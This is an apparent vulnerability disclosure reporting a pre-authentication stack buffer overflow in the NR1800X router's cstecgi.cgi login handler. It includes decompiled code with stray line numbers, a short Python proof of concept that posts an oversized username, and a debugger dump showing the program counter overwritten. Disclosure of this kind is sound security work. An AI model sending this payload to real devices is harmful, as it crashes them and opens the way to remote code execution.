NR1800X - bof - main (pre-authentication)

Hi, we found a **pre-authentication** stack buffer overflow at **NR1800X** (Firmware version **V9.1.0u.6279_B20210910**), and contact you at the first time.

```
v8 = (const char *)malloc(v7);
    memset(v8, 0, v7);
51
    fread(v8, 1, v7, stdin); if (!v3)
52
    goto LABEL_15;
if ( strstr(v3, "action=login") )
53
54
55
56
       if ( strstr(v3, "flag=ie8") )
         v32 = strstr(v3, "verify=error");
58
         v33 = (const char *)getenv("http_host");
           "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=ie8&verify=%d\"}",
          v33,
v32 != 0);
64
65
66
         v12 = v35;
67
68
       else
69
        v9 = strstr(v3, "flag=1");
v10 = strstr(v3, "verify=error") != 0;
v11 = (const char *)getenv("http_host");
70
71
72
73
74
            sprintf(v35, "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=1&verify=%d\"}", v11, v10);
75
76
           sprintf(v35, "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&verify=%d\"}", v11, v10);
```

In main function, the length of post data is not checked. If the query string is specified as /cgi-bin/cstecgi.cgi?action=login&flag=ie8, one can send a very long post data to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi?
action=login&flag=ie8" cookie = {"Cookie":"uid=1234"} data =
"username="+"a"*5000 response = requests.post(url, cookies=cookie, data=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
VO
     0x0
V1 0x1
 A0 0x1
 A1
    0x1
 A2 0x1
 A3 0x0
    0x77035998 ← 0x6c5f5f00
0x77030738 ← nop
T0
T1
T2 0x31
T3 0xffffffff
T4 0xf0000000
T5
    0x1
T6 0x400
SO 0x61616161 ('aaaa')
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
```